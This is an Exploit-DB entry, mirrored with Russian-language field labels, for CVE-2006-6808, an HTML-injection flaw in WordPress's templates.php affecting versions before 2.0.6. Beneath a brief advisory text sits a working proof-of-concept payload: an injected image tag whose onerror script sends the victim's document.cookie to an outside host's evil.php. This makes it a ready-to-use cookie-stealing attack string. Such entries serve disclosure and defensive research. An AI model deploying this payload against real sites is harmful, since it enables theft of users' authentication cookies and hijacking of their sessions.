- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 29356
- Проверка EDB
-
- Пройдено
- Автор
- DAVID KIERZNOWSKI
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- cve-2006-6808
- Дата публикации
- 2006-12-27
WordPress Core 1.x/2.0.x - 'template.php' HTML Injection
Код:
source: https://www.securityfocus.com/bid/21782/info
Wordpress is prone to an HTML-injection scripting vulnerability because the application fails to properly sanitize user-supplied input.
Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
Versions prior to 2.0.6 are vulnerable to this issue.
< img src='https://wordpress-site/wp/wp-admin/templates.php?file=< img src=%27%27 onerror="javascript: var s=(document.location.toString().charAt(6)); var url=(%27http:%27%2Bs%2Bs%2B%27michaeldaw.org%27); document.location=url%2Bs%2B%27evil.php?%27%2Bdocument.cookie">' >
- Источник
- www.exploit-db.com